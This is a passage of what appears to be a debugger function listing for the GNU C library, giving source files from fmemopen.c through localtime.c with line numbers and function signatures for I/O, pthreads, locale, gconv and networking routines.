46: static ssize_t fmemopen_read(void *, char *, size_t);
100: static int fmemopen_seek(void *, off64_t *, int);
66: static ssize_t fmemopen_write(void *, const char *, size_t);

File fmtmsg.c:
348: int __addseverity(int, const char *);
101: int fmtmsg(long, const char *, int, const char *, const char *, const char *);
370: static void free_mem(void);
210: static void init(void);
297: static int internal_addseverity(int, const char *);

File fnmatch.c:
320: int __fnmatch(const char *, const char *, int);

File fnmatch_loop.c:
1000: static const char *end_pattern(const char *);
1000: static const wchar_t *end_wpattern(const wchar_t *);
1043: static int ext_match(int, const char *, const char *, const char *, int, int, size_t);
1043: static int ext_wmatch(wint_t, const wchar_t *, const wchar_t *, const wchar_t *, int, int, size_t);
38: static int internal_fnmatch(const char *, const char *, const char *, int, int, struct fnmatch_struct *, size_t);
38: static int internal_fnwmatch(const wchar_t *, const wchar_t *, const wchar_t *, int, int, struct fnwmatch_struct *, size_t);

File fortify_fail.c:
42: void __GI___fortify_fail(const char *);
27: void __GI___fortify_fail_abort(_Bool, const char *);

File forward.c:
66: int __pthread_attr_init_2_1(pthread_attr_t *);
107: int __pthread_cond_broadcast(pthread_cond_t *);
102: int __pthread_cond_broadcast_2_0(pthread_cond_2_0_t *);
117: int __pthread_cond_destroy(pthread_cond_t *);
112: int __pthread_cond_destroy_2_0(pthread_cond_2_0_t *);
127: int __pthread_cond_init(pthread_cond_t *, const pthread_condattr_t *);
122: int __pthread_cond_init_2_0(pthread_cond_2_0_t *, const pthread_condattr_t *);
138: int __pthread_cond_signal(pthread_cond_t *);
133: int __pthread_cond_signal_2_0(pthread_cond_2_0_t *);
162: int __pthread_cond_timedwait(pthread_cond_t *, pthread_mutex_t *, const struct timespec *);
155: int __pthread_cond_timedwait_2_0(pthread_cond_2_0_t *, pthread_mutex_t *, const struct timespec *);
149: int __pthread_cond_wait(pthread_cond_t *, pthread_mutex_t *);
143: int __pthread_cond_wait_2_0(pthread_cond_2_0_t *, pthread_mutex_t *);
173: void __pthread_exit(void *);
196: int __pthread_setcancelstate(int, int *);
202: void __pthread_unwind(__pthread_unwind_buf_t *);
59: int pthread_attr_destroy(pthread_attr_t *);
69: int pthread_attr_getdetachstate(const pthread_attr_t *, int *);
75: int pthread_attr_getinheritsched(const pthread_attr_t *, int *);
80: int pthread_attr_getschedparam(const pthread_attr_t *, struct sched_param *);
87: int pthread_attr_getschedpolicy(const pthread_attr_t *, int *);
92: int pthread_attr_getscope(const pthread_attr_t *, int *);
72: int pthread_attr_setdetachstate(pthread_attr_t *, int);
77: int pthread_attr_setinheritsched(pthread_attr_t *, int);
83: int pthread_attr_setschedparam(pthread_attr_t *, const struct sched_param *);
89: int pthread_attr_setschedpolicy(pthread_attr_t *, int);
94: int pthread_attr_setscope(pthread_attr_t *, int);
98: int pthread_condattr_destroy(pthread_condattr_t *);
99: int pthread_condattr_init(pthread_condattr_t *);
169: int pthread_equal(pthread_t, pthread_t);
178: int pthread_getschedparam(pthread_t, int *, struct sched_param *);
186: int pthread_mutex_destroy(pthread_mutex_t *);
188: int pthread_mutex_init(pthread_mutex_t *, const pthread_mutexattr_t *);
192: int pthread_mutex_lock(pthread_mutex_t *);
194: int pthread_mutex_unlock(pthread_mutex_t *);
200: int pthread_setcanceltype(int, int *);
181: int pthread_setschedparam(pthread_t, int, const struct sched_param *);

File fprintf.c:
26: int __fprintf(FILE *, const char *, …);

File fprintf_chk.c:
24: int ___fprintf_chk(FILE *, int, const char *, …);

File fputc.c:
31: int fputc(int, FILE *);

File fputc_u.c:
33: int __GI_fputc_unlocked(int, FILE *);

File fputwc.c:
31: wint_t fputwc(wchar_t, FILE *);

File fputwc_u.c:
33: wint_t fputwc_unlocked(wchar_t, FILE *);

File fread_chk.c:
31: size_t __fread_chk(void * restrict, size_t, size_t, size_t, FILE * restrict);

File fread_u_chk.c:
31: size_t __fread_unlocked_chk(void * restrict, size_t, size_t, size_t, FILE * restrict);

File freelocale.c:
32: void __freelocale(locale_t);

File freopen.c:
37: FILE *freopen(const char *, const char *, FILE *);

File freopen64.c:
36: FILE *freopen64(const char *, const char *, FILE *);

File fscanf.c:
30: int __fscanf(FILE *, const char *, …);

File fseek.c:
31: int __GI_fseek(FILE *, long, int);

File fseeko.c:
35: int __fseeko(FILE *, off_t, int);

File fstab.c:
96: void endfsent(void);
50: struct fstab *getfsent(void);
80: struct fstab *getfsfile(const char *);
64: struct fstab *getfsspec(const char *);
43: int setfsent(void);
154: static struct fstab *fstab_convert(struct fstab_state *);
180: static void fstab_free(void);
110: static struct fstab_state *fstab_init(int);

File ftello.c:
37: off_t __GI___ftello(FILE *);

File ftok.c:
23: key_t ftok(const char *, int);

File fwide.c:
32: int fwide(FILE *, int);

File fwprintf.c:
27: int __fwprintf(FILE *, const wchar_t *, …);

File fwprintf_chk.c:
24: int __fwprintf_chk(FILE *, int, const wchar_t *, …);

File fwscanf.c:
31: int __fwscanf(FILE *, const wchar_t *, …);

File fxprintf.c:
76: int __fxprintf(FILE *, const char *, …);
86: int __fxprintf_nocancel(FILE *, const char *, …);
65: int __vfxprintf(FILE *, const char *, struct __va_list_tag *);
27: static int locked_vfxprintf(FILE *, const char *, struct __va_list_tag *);

File gconv.c:
31: int __gconv(__gconv_t, const unsigned char **, const unsigned char *, unsigned char **, unsigned char *, size_t *);

File gconv_builtin.c:
62: void __gconv_get_builtin_trans(const char *, struct __gconv_step *);

File gconv_cache.c:
227: int __gconv_compare_alias_cache(const char *, const char *, int *);
41: void *__gconv_get_cache(void);
48: int __gconv_load_cache(void);
246: int __gconv_lookup_cache(const char *, const char *, struct __gconv_step **, size_t *, int);
447: void __gconv_release_cache(struct __gconv_step *, size_t);
182: static int find_module(const char *, const char *, struct __gconv_step *);
144: static int find_module_idx(const char *, size_t *);
457: static void free_mem(void);

File gconv_charset.h:
25: static void strip(char *, const char *);

File gconv_close.c:
26: int __gconv_close(__gconv_t);

File gconv_conf.c:
616: void __gconv_load_conf(void);
432: static void __gconv_get_path(void);
538: static void __gconv_read_conf(void);
132: static void add_alias2(const char *, const char *, const char *, void *);
250: static void add_module(char *, const char *, size_t, int, size_t *, void **);
109: static int detect_conflict(const char *);
623: static void free_mem(void);
192: static void insert_module(struct gconv_module *, int);

File gconv_db.c:
61: int __gconv_alias_compare(const void *, const void *);
784: int __gconv_close_transform(struct __gconv_step *, size_t);
703: int __gconv_compare_alias(const char *, const char *);
719: int __gconv_find_transform(const char *, const char *, struct __gconv_step **, size_t *, int);
53: void *__gconv_get_alias_db(void);
47: struct gconv_module *__gconv_get_modules_db(void);
205: void __gconv_release_step(struct __gconv_step *);
107: static int derivation_compare(const void *, const void *);
428: static int find_derivation(const char *, const char *, const char *, const char *, struct __gconv_step **, size_t *);
174: static void free_derivation(void *);
831: static void free_mem(void);
813: static void free_modules_db(struct gconv_module *);

File gconv_dl.c:
67: struct __gconv_loaded_object *__gconv_find_shlib(const char *);
185: void __gconv_release_shlib(struct __gconv_loaded_object *);
199: static void do_release_all(void *);
159: static void do_release_shlib(void *, VISIT, int);
210: static void free_mem(void);
54: static int known_compare(const void *, const void *);

File gconv_open.c:
34: int __gconv_open(const char *, const char *, __gconv_t *, int);

File gconv_simple.c:
49: wint_t __gconv_btwoc_ascii(struct __gconv_step *, unsigned char);

File gconv_trans.c:
33: int __GI___gconv_transliterate(struct __gconv_step *, struct __gconv_step_data *, const unsigned char *, const unsigned char **, const unsigned char *, unsigned char **, size_t *);

File genops.c:
862: int _IO_cleanup(void);
1060: void _IO_default_imbue(FILE *, void *);
1042: ssize_t _IO_default_read(FILE *, void *, ssize_t);
1030: off64_t _IO_default_seek(FILE *, off64_t, int);
628: off64_t _IO_default_seekoff(FILE *, off64_t, int, int);
471: off64_t _IO_default_seekpos(FILE *, off64_t, int);
451: FILE *_IO_default_setbuf(FILE *, char *, ssize_t);
1036: int _IO_default_stat(FILE *, void *);
591: int _IO_default_sync(FILE *);
354: int _IO_default_underflow(FILE *);
1048: ssize_t _IO_default_write(FILE *, const void *, ssize_t);
685: int _IO_flush_all_lockp(int);
497: void _IO_init(FILE *, int);
491: void _IO_init_internal(FILE *, int);
882: void _IO_init_marker(struct _IO_marker *, FILE *);
114: ssize_t _IO_least_marker(FILE *, char *);
926: int _IO_marker_delta(struct _IO_marker *);
919: int _IO_marker_difference(struct _IO_marker *, struct _IO_marker *);
561: void _IO_no_init(FILE *, int, int, struct _IO_wide_data *, const struct _IO_jump_t *);
530: void _IO_old_init(FILE *, int);
898: void _IO_remove_marker(struct _IO_marker *);
939: int _IO_seekmark(FILE *, struct _IO_marker *, int);
655: int _IO_sungetc(FILE *);
146: void _IO_switch_to_backup_area(FILE *);
127: void _IO_switch_to_main_get_area(FILE *);
674: unsigned int __GI__IO_adjust_column(unsigned int, const char *, int);
477: int __GI__IO_default_doallocate(FILE *);
600: void __GI__IO_default_finish(FILE *, int);
973: int __GI__IO_default_pbackfail(FILE *, int);
360: int __GI__IO_default_uflow(FILE *);
416: size_t __GI__IO_default_xsgetn(FILE *, void *, size_t);
370: size_t __GI__IO_default_xsputn(FILE *, const void *, size_t);
342: void __GI__IO_doallocbuf(FILE *);
517: void __GI__IO_enable_locks(void);
724: int __GI__IO_flush_all(void);
732: void __GI__IO_flush_all_linebuffered(void);
186: void __GI__IO_free_backup_area(FILE *);
1065: _IO_ITER __GI__IO_iter_begin(void);
1072: _IO_ITER __GI__IO_iter_end(void);
1086: FILE *__GI__IO_iter_file(_IO_ITER);
1079: _IO_ITER __GI__IO_iter_next(_IO_ITER);
86: void __GI__IO_link_in(struct _IO_FILE_plus *);
1093: void __GI__IO_list_lock(void);
1111: void __GI__IO_list_resetlock(void);
1102: void __GI__IO_list_unlock(void);
328: void __GI__IO_setb(FILE *, char *, char *, int);
408: size_t __GI__IO_sgetn(FILE *, void *, size_t);
634: int __GI__IO_sputbackc(FILE *, int);
163: int __GI__IO_switch_to_get_mode(FILE *);
52: void __GI__IO_un_link(struct _IO_FILE_plus *);
959: void __GI__IO_unsave_markers(FILE *);
198: int __GI___overflow(FILE *, int);
298: int __GI___uflow(FILE *);
268: int __GI___underflow(FILE *);
848: static void buffer_free(void);
43: static void flush_cleanup(void *);
208: static int save_for_backup(FILE *, char *);

File get_myaddr.c:
56: void __GI_get_myaddress(struct sockaddr_in *);

File getauxval.c:
24: unsigned long __GI___getauxval(unsigned long);

File getc.c:
33: int _IO_getc(FILE *);

File getc_u.c:
33: int __getc_unlocked(FILE *);

File getchar.c:
33: int getchar(void);

File getchar_u.c:
33: int getchar_unlocked(void);

File getcwd_chk.c:
24: char *__getcwd_chk(char *, size_t, size_t);

File getdate.c:
108: int __getdate_r(const char *, struct tm *);
299: struct tm *getdate(const char *);

File getdirname.c:
28: char *get_current_dir_name(void);

File getdomain.c:
32: int __GI_getdomainname(char *, size_t);

File getdomainname_chk.c:
22: int __getdomainname_chk(char *, size_t, size_t);

File getenv.c:
33: char *__GI_getenv(const char *);

File getgroups_chk.c:
23: int __getgroups_chk(int, __gid_t *, size_t);

File gethostname_chk.c:
22: int __gethostname_chk(char *, size_t, size_t);

File getline.c:
26: ssize_t __getline(char **, size_t *, FILE *);

File getlogin_r_chk.c:
22: int __getlogin_r_chk(char *, size_t, size_t);

File getmsg.c:
22: int getmsg(int, struct strbuf *, struct strbuf *, int *);

File getnameinfo.c:
486: int __GI_getnameinfo(const struct sockaddr *, socklen_t, char *, socklen_t, char *, socklen_t, int);
191: static int checked_copy(char *, size_t, const char *);
87: static char *nrl_domainname(void);

File getnetgrent.c:
37: int getnetgrent(char **, char **, char **);
31: static void allocate(void);

File getnetgrent_r.c:
211: void __GI___internal_endnetgrent(struct __netgrent *);
259: int __GI___internal_getnetgrent_r(char **, char **, char **, struct __netgrent *, char *, size_t, int *);
170: int __GI___internal_setnetgrent(const char *, struct __netgrent *);
386: int __GI_innetgr(const char *, const char *, const char *, const char *);
368: int __getnetgrent_r(char **, char **, char **, char *, size_t);
221: void endnetgrent(void);
195: int setnetgrent(const char *);
113: static int __internal_setnetgrent_reuse(const char *, struct __netgrent *, int *);
99: static void endnetgrent_hook(struct __netgrent *);
81: static void free_memory(struct __netgrent *, struct __netgrent *);
240: static enum nss_status nscd_getnetgrent(struct __netgrent *, char *, size_t, int *);
42: static int setup(void **, service_user **);

File getnssent.c:
24: void *__nss_getent(getent_r_function, void **, char **, size_t, size_t *, int *);

File getnssent_r.c:
112: void __nss_endent(const char *, db_lookup_function, service_user **, service_user **, service_user **, int);
154: int __nss_getent_r(const char *, const char *, db_lookup_function, service_user **, service_user **, service_user **, int *, int, void *, char *, size_t, void **, int *);
51: void __nss_setent(const char *, db_lookup_function, service_user **, service_user **, service_user **, int, int *, int);
27: static int setup(const char *, db_lookup_function, void **, service_user **, service_user **, int);

File getopt.c:
736: int __posix_getopt(int, char * const *, const char *);
702: int _getopt_internal(int, char **, const char *, const struct option *, int *, int, int);
470: int _getopt_internal_r(int, char **, const char *, const struct option *, int *, int, struct _getopt_data *, int);
735: int getopt(int, char * const *, const char *);
130: static void exchange(char **, struct _getopt_data *);
193: static int process_long_option(int, char **, const char *, const struct option *, int *, int, struct _getopt_data *, int, const char *);

File getopt1.c:
59: int _getopt_long_only_r(int, char **, const char *, const struct option *, int *, struct _getopt_data *);
36: int _getopt_long_r(int, char **, const char *, const struct option *, int *, struct _getopt_data *);
28: int getopt_long(int, char * const *, const char *, const struct option *, int *);
50: int getopt_long_only(int, char * const *, const char *, const struct option *, int *);

File getpass.c:
46: char *getpass(const char *);

File getpw.c:
32: int __getpw(__uid_t, char *);

File getrpcport.c:
61: int getrpcport(const char *, u_long, u_long, u_int);

File gets_chk.c:
31: char *__gets_chk(char *, size_t);

File getsubopt.c:
39: int getsubopt(char **, char * const *, char **);

File gettext.c:
53: char *__gettext(const char *);

File getttyent.c:
201: int __GI___endttyent(void);
64: struct ttyent *__GI___getttyent(void);
184: int __GI___setttyent(void);
47: struct ttyent *__getttynam(const char *);
144: static char *skip(char *);

File getusershell.c:
78: void endusershell(void);
65: char *getusershell(void);
89: void setusershell(void);
96: static char **initshells(void);

File getutent.c:
28: struct utmp *__GI___getutent(void);

File getutent_r.c:
142: int __GI___getutent_r(struct utmp *, struct utmp **);
159: struct utmp *__GI___pututline(const struct utmp *);
176: void __endutent(void);
130: void __setutent(void);
123: static void endutent_unknown(void);
70: static int getutent_r_unknown(struct utmp *, struct utmp **);
83: static int getutid_r_unknown(const struct utmp *, struct utmp *, struct utmp **);
97: static int getutline_r_unknown(const struct utmp *, struct utmp *, struct utmp **);
111: static struct utmp *pututline_unknown(const struct utmp *);
57: static int setutent_unknown(void);

File getutid.c:
27: struct utmp *__GI___getutid(const struct utmp *);

File getutid_r.c:
33: int __GI___getutid_r(const struct utmp *, struct utmp *, struct utmp **);

File getutline.c:
28: struct utmp *__GI___getutline(const struct utmp *);

File getutline_r.c:
32: int __GI___getutline_r(const struct utmp *, struct utmp *, struct utmp **);

File getutxent.c:
23: struct utmpx *getutxent(void);

File getutxid.c:
23: struct utmpx *getutxid(const struct utmpx *);

File getutxline.c:
23: struct utmpx *getutxline(const struct utmpx *);

File getw.c:
25: int getw(FILE *);

File getwc.c:
34: wint_t _IO_getwc(FILE *);

File getwc_u.c:
33: wint_t __getwc_unlocked(FILE *);

File getwchar.c:
33: wint_t getwchar(void);

File getwchar_u.c:
33: wint_t getwchar_unlocked(void);

File getwd.c:
26: char *getwd(char *);

File getwd_chk.c:
24: char *__getwd_chk(char *, size_t);

File glob_pattern_p.c:
29: int __glob_pattern_p(const char *, int);

File gmon.c:
96: void __GI___moncontrol(int);
122: void __monstartup(u_long, u_long);
420: void __write_profiling(void);
439: void _mcleanup(void);
53: static int callback(struct dl_phdr_info *, size_t, void *);
354: static void write_gmon(void);

File gmtime.c:
24: struct tm *__GI___gmtime_r(const __time_t *, struct tm *);
49: struct tm *gmtime(const __time_t *);

File group_member.c:
29: int __group_member(gid_t);

File grouping.c:
51: const char *__correctly_grouped_prefixmb(const char *, const char *, const char *, const char *);
48: const wchar_t *__correctly_grouped_prefixwc(const wchar_t *, const wchar_t *, wchar_t, const char *);

File grp-merge.c:
39: int __GI___copy_grp(const struct group, const size_t, struct group *, char *, char **);
119: int __GI___merge_grp(struct group *, char *, char *, size_t, struct group *, char *);

File gtty.c:
24: int gtty(int, struct sgttyb *);

File hash-string.c:
31: unsigned long __hash_string(const char *);

File herrno-loc.c:
25: int *__GI___h_errno_location(void);

File herror.c:
100: const char *__GI_hstrerror(int);
76: void herror(const char *);

File hooks.c:
57: void __malloc_check_init(void);
429: void *malloc_get_state(void);
438: int malloc_set_state(void *);
244: static void free_check(void *, const void *);
226: static void *malloc_check(size_t, const void *);
28: static void *malloc_hook_ini(size_t, const void *);
148: static mchunkptr mem2chunk_check(void *, unsigned char **);
115: static void *mem2mem_check(void *, size_t);
347: static void *memalign_check(size_t, size_t, const void *);
45: static void *memalign_hook_ini(size_t, size_t, const void *);
266: static void *realloc_check(void *, size_t, const void *);
36: static void *realloc_hook_ini(void *, size_t, const void *);
210: static void top_check(void);

File hsearch.c:
45: void __hdestroy(void);
38: int hcreate(size_t);
27: ENTRY *hsearch(ENTRY, ACTION);

File hsearch_r.c:
63: int __GI___hcreate_r(size_t, struct hsearch_data *);
112: void __GI___hdestroy_r(struct hsearch_data *);
145: int __GI___hsearch_r(ENTRY, ACTION, ENTRY **, struct hsearch_data *);

File htons.c:
24: uint16_t htons(uint16_t);

File iconv.c:
31: size_t iconv(iconv_t, char **, size_t *, char **, size_t *);

File iconv_close.c:
27: int iconv_close(iconv_t);

File iconv_open.c:
32: iconv_t iconv_open(const char *, const char *);

File idna.c:
158: int __GI___idna_from_dns_encoding(const char *, char **);
113: int __GI___idna_to_dns_encoding(const char *, char **);
46: static void *functions_allocate(void *);
84: static void functions_deallocate(void *, void *);

File idna_name_classify.c:
26: enum idna_name_classification __idna_name_classify(const char *);

File inet6_opt.c:
80: int inet6_opt_append(void *, socklen_t, int, uint8_t, socklen_t, uint8_t, void **);
229: int inet6_opt_find(void *, socklen_t, int, uint8_t, socklen_t *, void **);
140: int inet6_opt_finish(void *, socklen_t, int);
276: int inet6_opt_get_val(void *, int, void *, socklen_t);
32: int inet6_opt_init(void *, socklen_t);
187: int inet6_opt_next(void *, socklen_t, int, uint8_t *, socklen_t *, void **);
170: int inet6_opt_set_val(void *, int, void *, socklen_t);

File inet6_option.c:
218: uint8_t *inet6_option_alloc(struct cmsghdr *, int, int, int);
141: int inet6_option_append(struct cmsghdr *, const uint8_t *, int, int);
292: int inet6_option_find(const struct cmsghdr *, uint8_t **, int);
107: int inet6_option_init(void *, struct cmsghdr **, int);
236: int inet6_option_next(const struct cmsghdr *, uint8_t **);
90: int inet6_option_space(int);
27: static void add_pad(struct cmsghdr *, int);
174: static uint8_t *option_alloc(struct cmsghdr *, int, int, int);

File inet6_rth.c:
86: int inet6_rth_add(void *, const struct in6_addr *);
179: struct in6_addr *inet6_rth_getaddr(const void *, int);
52: void *inet6_rth_init(void *, socklen_t, int, int);
117: int inet6_rth_reverse(const void *, void *);
157: int inet6_rth_segments(const void *);
31: socklen_t inet6_rth_space(int, int);

File inet6_scopeid_pton.c:
32: int __GI___inet6_scopeid_pton(const struct in6_addr *, const char *, uint32_t *);

File inet_addr.c:
182: int __GI___inet_aton_exact(const char *, struct in_addr *);
209: in_addr_t __inet_addr(const char *);
199: int __inet_aton_ignore_trailing(const char *, struct in_addr *);
106: static int inet_aton_end(const char *, struct in_addr *, const char **);

File inet_lnaof.c:
40: in_addr_t inet_lnaof(struct in_addr);

File inet_mkadr.c:
39: struct in_addr __GI___inet_makeaddr(in_addr_t, in_addr_t);

File inet_net.c:
58: uint32_t inet_network(const char *);

File inet_netof.c:
39: in_addr_t __GI_inet_netof(struct in_addr);

File inet_ntoa.c:
31: char *inet_ntoa(struct in_addr);

File inet_ntop.c:
53: const char *__GI_inet_ntop(int, const void *, char *, socklen_t);
80: static const char *inet_ntop4(const u_char *, char *, socklen_t);

File inet_pton.c:
67: int __GI___inet_pton(int, const char *, void *);
49: int __GI___inet_pton_length(int, const char *, size_t, void *);
81: static int inet_pton4(const char *, const char *, unsigned char *);

File init-misc.c:
29: void __init_misc(int, char **, char **);

File initgroups.c:
156: int getgrouplist(const char *, gid_t, gid_t *, int *);
187: int initgroups(const char *, gid_t);
52: static int internal_getgrouplist(const char *, gid_t, long *, gid_t **, long);

File insremque.c:
24: void insque(void *, void *);
45: void remque(void *);

File iofclose.c:
33: int _IO_new_fclose(FILE *);

File iofdopen.c:
34: FILE *_IO_new_fdopen(int, const char *);

File iofflush.c:
31: int __GI__IO_fflush(FILE *);

File iofflush_u.c:
31: int __GI___fflush_unlocked(FILE *);

File iofgetpos.c:
45: int _IO_new_fgetpos(FILE *, __fpos_t *);

File iofgets.c:
31: char *_IO_fgets(char *, int, FILE *);

File iofgets_u.c:
31: char *__GI___fgets_unlocked(char *, int, FILE *);

File iofgetws.c:
31: wchar_t *fgetws(wchar_t *, int, FILE *);

File iofgetws_u.c:
31: wchar_t *fgetws_unlocked(wchar_t *, int, FILE *);

File iofopen.c:
84: FILE *_IO_new_fopen(const char *, const char *);
56: FILE *__fopen_internal(const char *, const char *, int);
34: FILE *__fopen_maybe_mmap(FILE *);

File iofopncook.c:
151: void _IO_cookie_init(struct _IO_cookie_file *, int, void *, cookie_io_functions_t);
175: FILE *_IO_fopencookie(void *, const char *, cookie_io_functions_t);
86: static int _IO_cookie_close(FILE *);
33: static ssize_t _IO_cookie_read(FILE *, void *, ssize_t);
70: static off64_t _IO_cookie_seek(FILE *, off64_t, int);
102: static off64_t _IO_cookie_seekoff(FILE *, off64_t, int, int);
48: static ssize_t _IO_cookie_write(FILE *, const void *, ssize_t);

File iofputs.c:
31: int __GI__IO_fputs(const char *, FILE *);

File iofputs_u.c:
32: int __GI___fputs_unlocked(const char *, FILE *);

File iofputws.c:
31: int fputws(const wchar_t *, FILE *);

File iofputws_u.c:
32: int __GI_fputws_unlocked(const wchar_t *, FILE *);

File iofread.c:
30: size_t __GI__IO_fread(void *, size_t, size_t, FILE *);

File iofread_u.c:
33: size_t __GI___fread_unlocked(void *, size_t, size_t, FILE *);

File iofsetpos.c:
44: int _IO_new_fsetpos(FILE *, const __fpos_t *);

File ioftell.c:
33: long __GI__IO_ftell(FILE *);

File iofwide.c:
84: int _IO_fwide(FILE *, int);
322: static int do_always_noconv(struct _IO_codecvt *);
305: static int do_encoding(struct _IO_codecvt *);
254: static enum __codecvt_result do_in(struct _IO_codecvt *, __mbstate_t *, const char *, const char *, const char **, wchar_t *, wchar_t *, wchar_t **);
329: static int do_length(struct _IO_codecvt *, __mbstate_t *, const char *, const char *, size_t);
360: static int do_max_length(struct _IO_codecvt *);
155: static enum __codecvt_result do_out(struct _IO_codecvt *, __mbstate_t *, const wchar_t *, const wchar_t *, const wchar_t **, char *, char *, char **);
207: static enum __codecvt_result do_unshift(struct _IO_codecvt *, __mbstate_t *, char *, char *, char **);

File iofwrite.c:
30: size_t __GI__IO_fwrite(const void *, size_t, size_t, FILE *);

File iofwrite_u.c:
33: size_t __GI_fwrite_unlocked(const void *, size_t, size_t, FILE *);

File iogetdelim.c:
40: ssize_t _IO_getdelim(char **, size_t *, int, FILE *);

File iogetline.c:
31: size_t __GI__IO_getline(FILE *, char *, size_t, int, int);
47: size_t __GI__IO_getline_info(FILE *, char *, size_t, int, int, int *);

File iogets.c:
31: char *_IO_gets(char *);

File iogetwline.c:
32: size_t _IO_getwline(FILE *, wchar_t *, size_t, wint_t, int);
47: size_t _IO_getwline_info(FILE *, wchar_t *, size_t, wint_t, int, wint_t *);

File iopadn.c:
36: ssize_t __GI__IO_padn(FILE *, int, ssize_t);

File iopopen.c:
220: FILE *_IO_new_popen(const char *, const char *);
249: int _IO_new_proc_close(FILE *);
109: FILE *_IO_new_proc_open(FILE *, const char *, const char *);
57: static void unlock(void *);

File ioputs.c:
32: int __GI__IO_puts(const char *);

File ioseekoff.c:
64: off64_t _IO_seekoff(FILE *, off64_t, int, int);
32: off64_t _IO_seekoff_unlocked(FILE *, off64_t, int, int);

File ioseekpos.c:
51: off64_t _IO_seekpos(FILE *, off64_t, int);
30: off64_t _IO_seekpos_unlocked(FILE *, off64_t, int);

File iosetbuffer.c:
30: void __GI__IO_setbuffer(FILE *, char *, size_t);

File iosetvbuf.c:
34: int __GI__IO_setvbuf(FILE *, char *, int, size_t);

File ioungetc.c:
30: int _IO_ungetc(int, FILE *);

File ioungetwc.c:
31: wint_t ungetwc(wint_t, FILE *);

File iovdprintf.c:
65: int __vdprintf(int, const char *, struct __va_list_tag *);
31: int __vdprintf_internal(int, const char *, struct __va_list_tag *, unsigned int);

File iovfscanf.c:
29: int __IO_vfscanf(FILE *, const char *, struct __va_list_tag *, int *);

File iovfwscanf.c:
29: int __IO_vfwscanf(FILE *, const wchar_t *, struct __va_list_tag *, int *);

File iovsprintf.c:
103: int __vsprintf(char *, const char *, struct __va_list_tag *);
69: int __vsprintf_internal(char *, size_t, const char *, struct __va_list_tag *, unsigned int);
31: static int _IO_str_chk_overflow(FILE *, int);

File iovsscanf.c:
35: int _IO_vsscanf(const char *, const char *, struct __va_list_tag *);

File iovswscanf.c:
36: int __GI___vswscanf(const wchar_t *, const wchar_t *, struct __va_list_tag *);

File iowpadn.c:
42: ssize_t _IO_wpadn(FILE *, wint_t, ssize_t);

File isastream.c:
23: int isastream(int);

File isctype.c:
23: int __isctype(int, int);

File isoc99_fscanf.c:
24: int __isoc99_fscanf(FILE *, const char *, …);

File isoc99_fwscanf.c:
25: int __isoc99_fwscanf(FILE *, const wchar_t *, …);

File isoc99_scanf.c:
24: int __isoc99_scanf(const char *, …);

File isoc99_sscanf.c:
23: int __GI___isoc99_sscanf(const char *, const char *, …);

File isoc99_swscanf.c:
24: int __isoc99_swscanf(const wchar_t *, const wchar_t *, …);

File isoc99_vfscanf.c:
23: int __GI___isoc99_vfscanf(FILE *, const char *, struct __va_list_tag *);

File isoc99_vfwscanf.c:
24: int __GI___isoc99_vfwscanf(FILE *, const wchar_t *, struct __va_list_tag *);

File isoc99_vscanf.c:
23: int __isoc99_vscanf(const char *, struct __va_list_tag *);

File isoc99_vsscanf.c:
30: int __GI___isoc99_vsscanf(const char *, const char *, struct __va_list_tag *);

File isoc99_vswscanf.c:
31: int __GI___isoc99_vswscanf(const wchar_t *, const wchar_t *, struct __va_list_tag *);

File isoc99_vwscanf.c:
24: int __isoc99_vwscanf(const wchar_t *, struct __va_list_tag *);

File isoc99_wscanf.c:
26: int __isoc99_wscanf(const wchar_t *, …);

File iswctype.c:
27: int __GI___iswctype(wint_t, wctype_t);

File iswctype_l.c:
27: int __iswctype_l(wint_t, wctype_t, locale_t);

File jrand48.c:
23: long jrand48(unsigned short *);

File jrand48_r.c:
22: int __jrand48_r(unsigned short *, struct drand48_data *, long *);

File key_call.c:
140: int __GI_key_decryptsession(char *, des_block *);
187: int __GI_key_decryptsession_pk(char *, netobj *, des_block *);
117: int __GI_key_encryptsession(char *, des_block *);
162: int __GI_key_encryptsession_pk(char *, netobj *, des_block *);
212: int __GI_key_gendes(des_block *);
266: int __GI_key_get_conv(char *, des_block *);
93: int __GI_key_secretkey_is_set(void);
247: int __GI_key_setnet(struct key_netstarg *);
70: int __GI_key_setsecret(char *);
555: void __rpc_thread_key_cleanup(void);
388: static CLIENT *getkeyserv_handle(int);
479: static int key_call_socket(u_long, xdrproc_t, char *, xdrproc_t, char *);

File key_prot.c:
65: bool_t __GI_xdr_cryptkeyarg(XDR *, cryptkeyarg *);
78: bool_t __GI_xdr_cryptkeyarg2(XDR *, cryptkeyarg2 *);
91: bool_t __GI_xdr_cryptkeyres(XDR *, cryptkeyres *);
124: bool_t __GI_xdr_getcredres(XDR *, getcredres *);
142: bool_t __GI_xdr_key_netstarg(XDR *, key_netstarg *);
155: bool_t __GI_xdr_key_netstres(XDR *, key_netstres *);
45: bool_t __GI_xdr_keybuf(XDR *, char *);
35: bool_t __GI_xdr_keystatus(XDR *, keystatus *);
55: bool_t __GI_xdr_netnamestr(XDR *, netnamestr *);
109: bool_t __GI_xdr_unixcred(XDR *, unixcred *);

File l64a.c:
35: char *l64a(long);

File lc-ctype.c:
32: void _nl_postload_ctype(void);

File lc-time-cleanup.c:
23: void _nl_cleanup_time(struct __locale_data *);

File lchmod.c:
25: int lchmod(const char *, mode_t);

File lckpwdf.c:
84: int __lckpwdf(void);
146: int __ulckpwdf(void);
173: static void noop_handler(int);

File lcong48.c:
23: void lcong48(unsigned short *);

File lcong48_r.c:
25: int __lcong48_r(unsigned short *, struct drand48_data *);

File libc-cleanup.c:
23: void __libc_cleanup_routine(struct __pthread_cleanup_frame *);

File libc_pthread_init.c:
41: int *__libc_pthread_init(unsigned long *, void (*)(void), const struct pthread_functions *);

File llabs.c:
26: long long llabs(long long);

File lldiv.c:
24: lldiv_t lldiv(long long, long long);

File loadarchive.c:
502: void _nl_archive_subfreeres(void);
133: struct __locale_data *_nl_load_locale_from_archive(int, const char **);

File loadlocale.c:
68: struct __locale_data *_nl_intern_locale_data(int, const void *, size_t);
166: void _nl_load_locale(struct loaded_l10nfile *, int);
287: void _nl_unload_locale(struct __locale_data *);

File loadmsgcat.c:
752: void _nl_load_domain(struct loaded_l10nfile *, struct binding *);
1288: void _nl_unload_domain(struct loaded_domain *);

File localealias.c:
149: const char *_nl_expand_alias(const char *);
404: static int alias_compare(const struct alias_map *, const struct alias_map *);
210: static size_t read_alias_file(const char *, int);

File localeconv.c:
24: struct lconv *__localeconv(void);

File localename.c:
23: const char *__current_locale_name(int);

File localtime.c:
52: struct tm *__GI_localtime(const __time_t *);
28: struct tm *__localtime_r(const __time_t *, struct tm *);

File lockf.c:
